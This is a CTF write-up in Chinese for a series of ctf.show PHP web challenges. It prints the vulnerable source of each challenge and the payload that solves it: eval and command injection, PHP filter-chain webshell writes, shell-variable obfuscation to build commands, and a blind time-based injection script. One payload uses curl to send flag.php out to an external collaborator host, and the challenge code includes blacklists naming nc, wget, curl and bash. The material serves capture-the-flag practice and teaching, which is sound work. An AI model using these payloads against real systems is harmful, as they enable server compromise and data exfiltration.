此题可以直接正常相等,例如传v3=1,则md5(v3)=c4ca4238a0b923820dcc509a6f75849b;此时传v1=flag=c4ca4238a0b923820dcc509a6f75849b即可

也可以用0e,不过没必要


108

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-28 23:53:55

*/


highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

if (ereg ("^[a-zA-Z]+$", $_GET['c'])===FALSE)  {
    die('error');

}
//只有36d的人才能看到flag
if(intval(strrev($_GET['c']))==0x36d){
    echo $flag;
}

?>

payload:?c=aa%00778

%00可以截断ereg函数,当到%00时,就认为是字符串的结尾了,从而可以进行绕过

这里0x36d就是877,但是c又要都是字符,所以用%00截断,相当于ereg只匹配了%00前面的,后面输入778,经过反转然后化整,就成了877


109

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:02:34

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/[a-zA-Z]+/', $v1) && preg_match('/[a-zA-Z]+/', $v2)){
            eval("echo new $v1($v2());");
    }

}

?>

v1=ReFlectionClass&v2=system(‘ls’)


110

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-29 22:49:10

*/


highlight_file(__FILE__);
error_reporting(0);
if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~|\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]/', $v2)){
            die("error v2");
    }

    eval("echo new $v1($v2());");

}

?>

用php内置的FIlesystemIterator类,用getcwd返回当前目录,得到fl36dga.txt,直接url访问得到flag


111

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 02:41:40

*/

highlight_file(__FILE__);
error_reporting(0);
include("flag.php");

function getFlag(&$v1,&$v2){
    eval("$$v1 = &$$v2;");
    var_dump($$v1);
}

if(isset($_GET['v1']) && isset($_GET['v2'])){
    $v1 = $_GET['v1'];
    $v2 = $_GET['v2'];

    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v1)){
            die("error v1");
    }
    if(preg_match('/\~| |\`|\!|\@|\#|\\$|\%|\^|\&|\*|\(|\)|\_|\-|\+|\=|\{|\[|\;|\:|\"|\'|\,|\.|\?|\\\\|\/|[0-9]|\<|\>/', $v2)){
            die("error v2");
    }
    
    if(preg_match('/ctfshow/', $v1)){
            getFlag($v1,$v2);
    }
    

    

}

?>

代码的大致意思就是$v1要包含ctfshow,然后将$$v2的值引用给$$v1,这里的关键也就是哪个变量包含了flag,v2直接传flag会返回NULL,因为函数内部无法调用外部变量,所以这里直接用GLOBALS


112

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:49

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/\.\.\/|http|https|data|input|rot13|base64|string/i',$file)){
        die("hacker!");
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

?file=php://filter/convert.iconv.utf-8.utf-7/resource=flag.php

过滤了一些过滤器,那就换能用的,也可以直接不用过滤器


113

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-30 23:47:52

*/

highlight_file(__FILE__);
error_reporting(0);
function filter($file){
    if(preg_match('/filter|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

1.利用函数所能处理的长度限制进行目录溢出: 原理:/proc/self/root代表根目录,进行目录溢出,超过is_file能处理的最大长度就不认为是个文件了

import requests
url='https://291bfedc-2663-4559-8700-cca480d214c7.challenge.ctf.show/'
data={'file':'/proc/self/root'*30+'/var/www/html/flag.php'}
r=requests.get(url=url,params=data)
print(r.text[r.text.find('ctfshow'):])

2.file=compress.zlib://flag.php


114

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:02:53

*/

error_reporting(0);
highlight_file(__FILE__);
function filter($file){
    if(preg_match('/compress|root|zip|convert|\.\.\/|http|https|data|data|rot13|base64|string/i',$file)){
        die('hacker!');
    }else{
        return $file;
    }
}
$file=$_GET['file'];
echo "师傅们居然tql都是非预期 哼!";
if(! is_file($file)){
    highlight_file(filter($file));
}else{
    echo "hacker!";
}

没过滤filter,直接file=php://filter/resource=flag.php


115

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 15:08:19

*/

include('flag.php');
highlight_file(__FILE__);
error_reporting(0);
function filter($num){
    $num=str_replace("0x","1",$num);
    $num=str_replace("0","1",$num);
    $num=str_replace(".","1",$num);
    $num=str_replace("e","1",$num);
    $num=str_replace("+","1",$num);
    return $num;
}
$num=$_GET['num'];
if(is_numeric($num) and $num!=='36' and trim($num)!=='36' and filter($num)=='36'){
    if($num=='36'){
        echo $flag;
    }else{
        echo "hacker!!";
    }
}else{
    echo "hacker!!!";
}

num=%0c36

换行符


116

一个视频,下载后用010editor查看(用binwalk应该也行),发现png图片,导出来得到

直接file=flag.php,但是没发现flag在哪,只能抓包看看


117

<?php

/*
# -*- coding: utf-8 -*-
# @Author: yu22x
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-01 18:16:59

*/
highlight_file(__FILE__);
error_reporting(0);
function filter($x){
    if(preg_match('/http|https|utf|zlib|data|input|rot13|base64|string|log|sess/i',$x)){
        die('too young too simple sometimes naive!');
    }
}
$file=$_GET['file'];
$contents=$_POST['contents'];
filter($file);
file_put_contents($file, "<?php die();?>".$contents);
file=php://filter/write=convert.iconv.UCS-2LE.UCS-2BE/resource=7.php
contents=?<hp pe@av(l_$OPTSf[si]h;)>?&fish=system('tac fl*');

这里放一个链接https://www.cnblogs.com/linuxsec/articles/12684259.html


118

一个命令执行的功能,但是过滤了所有数字和小写字母,还有一些字符,flag.txt可以用????.???代替,现在主要就是想用什么命令来输出文件内容,看师傅们wp才知道,在可以用${PATH:~A}${PWD:~A}构造出nl,PATH路径一般是/bin,~A就是取最后一位,PWD路径一般是/var/www/html,这样就构造出nl了


119

相比于上题多过滤了A,已知${PWD}为/var/www/html,${SHLVL}为2,${#IFS}为3

我们要构造/bin/cat flag.php -x=~x+1 ~x=-x-1

即/???/?at ?la?.???

/ 为${PWD:0:1} -> 即${PWD:${#}:${##}}

a 为${PWD:2:1} -> 即${PWD:${SHLVL}:${##}}

t 为${PWD:-3:1} -> 即${PWD:~2:1} -> ${PWD:~${SHLVL}:${##}}

l 为${PWD:-1:1} -> 即${PWD:~${#}:${##}}

${PWD:${#}:${##}}???${PWD:${#}:${##}}?${PWD:${SHLVL}:${##}}${PWD:~${SHLVL}:${##}} ?${PWD:~${#}:${##}}${PWD:${SHLVL}:${##}}?.???


120

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|PATH|BASH|HOME|\/|\(|\)|\[|\]|\\\\|\+|\-|\!|\=|\^|\*|\x26|\%|\<|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

code=${PWD::${##}}???${PWD::${##}}??${PWD:~${SHLVL}:${##}} ????.???

/ ${PWD:0:1}中0可以省即${PWD::${##}}


121

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST[‘code’])){
    $code=$_POST[‘code’];
    if(!preg_match(‘/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|HOME|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|\%|\<|\>|\’|\”|\`|\||\,/’, $code)){    
        if(strlen($code)>65){
            echo ‘<div align=”center”>’.’you are so long , I dont like ‘.'</div>’;
        }
        else{
        echo ‘<div align=”center”>’.system($code).'</div>’;
        }
    }
    else{
     echo ‘<div align=”center”>evil input</div>’;
    }
}

?>

/bin/rev flag.php

rev可以反转文件的内容,并输出

v 为${PWD:${##}:${##}}

code=${PWD::${##}}???${PWD::${##}}??${PWD:${##}:${##}} ????.???


122

<?php
error_reporting(0);
highlight_file(__FILE__);
if(isset($_POST['code'])){
    $code=$_POST['code'];
    if(!preg_match('/\x09|\x0a|[a-z]|[0-9]|FLAG|PATH|BASH|PWD|HISTIGNORE|HISTFILESIZE|HISTFILE|HISTCMD|USER|TERM|HOSTNAME|HOSTTYPE|MACHTYPE|PPID|SHLVL|FUNCNAME|\/|\(|\)|\[|\]|\\\\|\+|\-|_|~|\!|\=|\^|\*|\x26|#|%|\>|\'|\"|\`|\||\,/', $code)){    
        if(strlen($code)>65){
            echo '<div align="center">'.'you are so long , I dont like '.'</div>';
        }
        else{
        echo '<div align="center">'.system($code).'</div>';
        }
    }
    else{
     echo '<div align="center">evil input</div>';
    }
}

?>

过滤了PWD和#,/bin/base64 flag.php,

即/???/????6? ????.???

可是过滤了#,那怎么产生1呢,$?为获取上一个shell命令的退出状态码,错误就是1,那么就可以用<A来报错,而6可以由${RANDOM::1}产生

于是code=<A;${HOME::$?}???${HOME::$?}????${RANDOM::$?}? ????.???

多试几次就可以了


123

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?/", $c)&&$c<=18){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

要传入CTF_SHOW.COM参数,但是一般参数不能含有[ .等字符,会自动变成下划线_,但是如果前面有[变成了下划线,那么后面的就不会变了,所以穿参数CTF[SHOW.COM

CTF_SHOW=1&CTF[SHOW.COM=1&fun=echo $flag

124

<?php

/*
# -*- coding: utf-8 -*-
# @Author: 收集自网络
# @Date:   2020-09-16 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-06 14:04:45

*/

error_reporting(0);
//听说你很喜欢数学,不知道你是否爱它胜过爱flag
if(!isset($_GET['c'])){
    show_source(__FILE__);
}else{
    //例子 c=20-1
    $content = $_GET['c'];
    if (strlen($content) >= 80) {
        die("太长了不会算");
    }
    $blacklist = [' ', '\t', '\r', '\n','\'', '"', '`', '\[', '\]'];
    foreach ($blacklist as $blackitem) {
        if (preg_match('/' . $blackitem . '/m', $content)) {
            die("请不要输入奇奇怪怪的字符");
        }
    }
    //常用数学函数http://www.w3school.com.cn/php/php_ref_math.asp
    $whitelist = ['abs', 'acos', 'acosh', 'asin', 'asinh', 'atan2', 'atan', 'atanh', 'base_convert', 'bindec', 'ceil', 'cos', 'cosh', 'decbin', 'dechex', 'decoct', 'deg2rad', 'exp', 'expm1', 'floor', 'fmod', 'getrandmax', 'hexdec', 'hypot', 'is_finite', 'is_infinite', 'is_nan', 'lcg_value', 'log10', 'log1p', 'log', 'max', 'min', 'mt_getrandmax', 'mt_rand', 'mt_srand', 'octdec', 'pi', 'pow', 'rad2deg', 'rand', 'round', 'sin', 'sinh', 'sqrt', 'srand', 'tan', 'tanh'];
    preg_match_all('/[a-zA-Z_\x7f-\xff][a-zA-Z_0-9\x7f-\xff]*/', $content, $used_funcs);  
    foreach ($used_funcs[0] as $func) {
        if (!in_array($func, $whitelist)) {
            die("请不要输入奇奇怪怪的函数");
        }
    }
    //帮你算出答案
    eval('echo '.$content.';');
}

数学函数利用

法一:

若$a=fish $fish=delicious 那可以得到$$a=delicious

所以可以先构造出$pi=_GET,$$pi就是$_GET,这里不能用[],可以用{}代替,例如$a=[1,2] 那么$a{0}=1

所以可以构造出payload

?c=$pi=base_convert(37907361743,10,36)(dechex(1598506324));($$pi){1}(($$pi){abs});&1=system&abs=tac f*
base_convert(37907361743,10,36)//hex2bin
dechex(1598506324)//5f474554  ->_GET的16进制表示

至于这里为什么将pi作为变量名,因为只能用白名单里面的函数名且pi的长度最短

法二:

利用base_convert函数是可以很容易构造纯字母字符串的,但是还要构造出特殊字符(空格*),因为要tac *,可以通过异或得到;

要使异或结果为 *,可以在白名单中找两个字符串与 *进行异或,使其结果为数字,这个数字与自己在进行异或就可以得到0

例如$c=’ *’

$a^$b^$c=0 -> $a^$a^$b^$b^$c=$c=$a^$b,这样就可以通过异或得到 *

//我的payload
c=base_convert(1751504350,10,36)((base_convert(849,10,36).(dechex(16)^pi^asin)))
//system(nl *)

具体可参考:https://www.anquanke.com/post/id/220813


125

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print/i", $c)&&$c<=16){
         eval("$c".";");
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}
?>

CTF_SHOW=&CTF[SHOW.COM=1&fun=var_export(get_defined_vars())


126

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-09-05 20:49:30
# @Last Modified by:   h1xa
# @Last Modified time: 2020-09-07 22:02:47
#
#
*/
error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
$a=$_SERVER['argv'];
$c=$_POST['fun'];
if(isset($_POST['CTF_SHOW'])&&isset($_POST['CTF_SHOW.COM'])&&!isset($_GET['fl0g'])){
    if(!preg_match("/\\\\|\/|\~|\`|\!|\@|\#|\%|\^|\*|\-|\+|\=|\{|\}|\"|\'|\,|\.|\;|\?|flag|GLOBALS|echo|var_dump|print|g|i|f|c|o|d/i", $c) && strlen($c)<=16){
         eval("$c".";");  
         if($fl0g==="flag_give_me"){
             echo $flag;
         }
    }
}

CTF_SHOW=&CTF[SHOW.COM=&fun=assert($a[0])

url?$fl0g=flag_give_me

$_SERVER[‘argv’][0] = $_SERVER[‘QUERY_STRING’]

而$_SERVER[‘QUERY_STRING’]即url?后面的值,如果有空格则会分割成几个变量

如url?aa+bb

此时$_SERVER[‘argv’][0]=aa,而$_SERVER[‘argv’][1]=bb


127

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-10 21:52:49

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);
$ctf_show = md5($flag);
$url = $_SERVER['QUERY_STRING'];


//特殊字符检测
function waf($url){
    if(preg_match('/\`|\~|\!|\@|\#|\^|\*|\(|\)|\\$|\_|\-|\+|\{|\;|\:|\[|\]|\}|\'|\"|\<|\,|\>|\.|\\\|\//', $url)){
        return true;
    }else{
        return false;
    }
}

if(waf($url)){
    die("嗯哼?");
}else{
    extract($_GET);
}


if($ctf_show==='ilove36d'){
    echo $flag;
}

过滤了'[‘,’+’,’.’,直接用%20代替,非法变量名%20自动转化成_

ctf%20show=ilove36d


128

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-10 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-12 19:49:05

*/


error_reporting(0);
include("flag.php");
highlight_file(__FILE__);

$f1 = $_GET['f1'];
$f2 = $_GET['f2'];

if(check($f1)){
    var_dump(call_user_func(call_user_func($f1,$f2)));
}else{
    echo "嗯哼?";
}



function check($str){
    return !preg_match('/[0-9]|[a-z]/i', $str);
}

f1=_&f2=get_defined_vars

一个新的姿势,当php扩展目录下有php_gettext.dll时:

_()是一个函数。

_()==gettext() 是gettext()的拓展函数,开启text扩展,get_defined_vars — 返回由所有已定义变量所组成的数组。


129

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 03:18:40

*/


error_reporting(0);
highlight_file(__FILE__);
if(isset($_GET['f'])){
    $f = $_GET['f'];
    if(stripos($f, 'ctfshow')>0){
        echo readfile($f);
    }
}

payload:f=./ctfshow/../flag.php


130

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = $_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f, 'ctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}

/.+?ctfshow/is .匹配任意字符,+匹配前面的字符或表达式一次或多次,?加在+后面表示非贪婪匹配,尽可能的减少匹配数量,所以就是匹配前面任意字符一次或多次再加上ctfshow,直接ctfshow就不会被匹配到

(POST)f=ctfshow


131

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 05:19:40

*/


error_reporting(0);
highlight_file(__FILE__);
include("flag.php");
if(isset($_POST['f'])){
    $f = (String)$_POST['f'];

    if(preg_match('/.+?ctfshow/is', $f)){
        die('bye!');
    }
    if(stripos($f,'36Dctfshow') === FALSE){
        die('bye!!');
    }

    echo $flag;

}
import requests

url="https://01ed1f87-6dde-4812-a963-1e3d10b754f0.challenge.ctf.show/"
a="a"*1000000+"36Dctfshow"
params={"f":f"{a}"}
r=requests.post(url,data=params)
print(r.text)

当被检测的字符串过长时,正则不会 匹配到后面的内容


132

打开后是一个网站 ,看了一周没发现什么功能点,试着输入robots.txt,发现/admin,访问后得到源码

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 06:22:13
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 20:05:36
# @email: h1xa@ctfer.com
# @link: https://ctfer.com

*/

#error_reporting(0);
include("flag.php");
highlight_file(__FILE__);


if(isset($_GET['username']) && isset($_GET['password']) && isset($_GET['code'])){
    $username = (String)$_GET['username'];
    $password = (String)$_GET['password'];
    $code = (String)$_GET['code'];

    if($code === mt_rand(1,0x36D) && $password === $flag || $username ==="admin"){
        
        if($code == 'admin'){
            echo $flag;
        }
        
    }
}

$code === mt_rand(1,0x36D) && $password === $flag || $username ===”admin”)只要$username===”admin”即可,因为前面一块肯定是不满足的,只要后面的 满足即可

url/admin/?username=admin&password=&code=admin


133

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-13 16:43:44

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|netcat/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("6个字母都还不够呀?!");
    }
}
payload:?F=`$F`;+curl -X POST 'http://whh5bw1e5vy5n6iampg0l0laf1ls9lxa.oastify.com' -F file=@flag.php'

只能执行前六位字符,假设$F=`$F`;+sleep 3 这里用 `$F,相当于“$F`;+sleep 3`,相当于把后面的也执行了,这样就绕过了长度的限制,但是“的 执行结果是不回显的,这里利用curl -F将文件带出来(我测试ping的时候不知道为什么ping不通),在bp里面用collaborator


134

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-14 23:01:06

*/

highlight_file(__FILE__);
$key1 = 0;
$key2 = 0;
if(isset($_GET['key1']) || isset($_GET['key2']) || isset($_POST['key1']) || isset($_POST['key2'])) {
    die("nonononono");
}
@parse_str($_SERVER['QUERY_STRING']);
extract($_POST);
if($key1 == '36d' && $key2 == '36d') {
    die(file_get_contents('flag.php'));
}

payload:url?_POST[key1]=36d&_POST[key2]=36d

这里不能直接GET或者POST传key1和key2,那么直接自己给$_POST变量赋值,此时$POST为array(2) { [“key1”]=> string(3) “36d” [“key2”]=> string(3) “36d” }

extract后就得到了key1和key2变量,且值为36d


135

<?php

/*
# -*- coding: utf-8 -*-
# @Author: Firebasky
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 18:48:03

*/

error_reporting(0);
highlight_file(__FILE__);
//flag.php
if($F = @$_GET['F']){
    if(!preg_match('/system|nc|wget|exec|passthru|bash|sh|netcat|curl|cat|grep|tac|more|od|sort|tail|less|base64|rev|cut|od|strings|tailf|head/i', $F)){
        eval(substr($F,0,6));
    }else{
        die("师傅们居然破解了前面的,那就来一个加强版吧");
    }
}

应该是个非预期,直接url?F=`$F`;+mv flag.php flag,将flag.php直接改名为flag,url打开/flag可以直接下载下来

还可以?F=`$F`;+nl flag.php > 1 然后打开/1就会把1文件下载下来

类似的,cp也可以


136

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

过滤了>可以用tee命令,?c=ls / | tee 1,然后访问/1,将1下载下来,在根目录发现flag,f149_15_h3r3,然后cat /f149_15_h3r3 | tee 2 即可


137

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 22:27:49

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}



call_user_func($_POST['ctfshow']);

静态类可以直接调用,不需要实例化

(POST)ctfshow=ctfshow::getFlag


138

<?php

/*
# -*- coding: utf-8 -*-
# @Author: h1xa
# @Date:   2020-10-13 11:25:09
# @Last Modified by:   h1xa
# @Last Modified time: 2020-10-16 22:52:13

*/

error_reporting(0);
highlight_file(__FILE__);
class ctfshow
{
    function __wakeup(){
        die("private class");
    }
    static function getFlag(){
        echo file_get_contents("flag.php");
    }
}

if(strripos($_POST['ctfshow'], ":")>-1){
    die("private function");
}

call_user_func($_POST['ctfshow']);

call_user_func函数可以通过传递数组来执行静态方法

所以传数组(POST)ctfshow[]=ctfshow&ctfshow[]=getFlag


139

<?php
error_reporting(0);
function check($x){
    if(preg_match('/\\$|\.|\!|\@|\#|\%|\^|\&|\*|\?|\{|\}|\>|\<|nc|wget|exec|bash|sh|netcat|grep|base64|rev|curl|wget|gcc|php|python|pingtouch|mv|mkdir|cp/i', $x)){
        die('too young too simple sometimes naive!');
    }
}
if(isset($_GET['c'])){
    $c=$_GET['c'];
    check($c);
    exec($c);
}
else{
    highlight_file(__FILE__);
}
?>

反引号“是命令替换,命令替换是指Shell可以先执行“中的命令,将输出结果暂时保存,在适当的地方输出

利用if,awk,cut来进行判断

例如if[`ls / | awk ‘NR==1’ | cut -c 1`==b];then sleep 3;fi

ls / | awk ‘NR==1’ 的结果为bin,而ls / | awk ‘NR==1’ | cut -c 1就是取了bin的第一位,也就是b,所以会sleep3秒

脚本如下:

import requests
import time
import string
str='_'+string.ascii_letters+string.digits
result=""
for i in range(1,5):
    key=0
    for j in range(1,15):
        if key==1:
            break
        for n in str:
            payload="if [ `ls /|awk 'NR=={0}'|cut -c {1}` == {2} ];then sleep 3;fi".format(i,j,n)
            url="https://fa99529f-407e-4df0-b810-46f06bd7cb6f.challenge.ctf.show/?c="+payload
            try:
                requests.get(url,timeout=(2.5,2.5))
            except:
                result=result+n
                print(result)
                break
            if n=='9':
                key=1
                result+=" "

#import requests
# import time
# import string
# str='{'+'}'+'_'+string.ascii_letters+string.digits+'-'
# result=""
# key=0
# for j in range(1,35):
#         if key==1:
#             break
#         for n in str:
#             payload="if [ `cat /f149_15_h3r3|cut -c {0}` == {1} ];then sleep 3;fi".format(j,n)
#             url="https://fa99529f-407e-4df0-b810-46f06bd7cb6f.challenge.ctf.show/?c="+payload
#             try:
#                 requests.get(url,timeout=(2.5,2.5))
#             except:
#                 result=result+n
#                 print(result)
#                 break
下一篇
隐藏
换装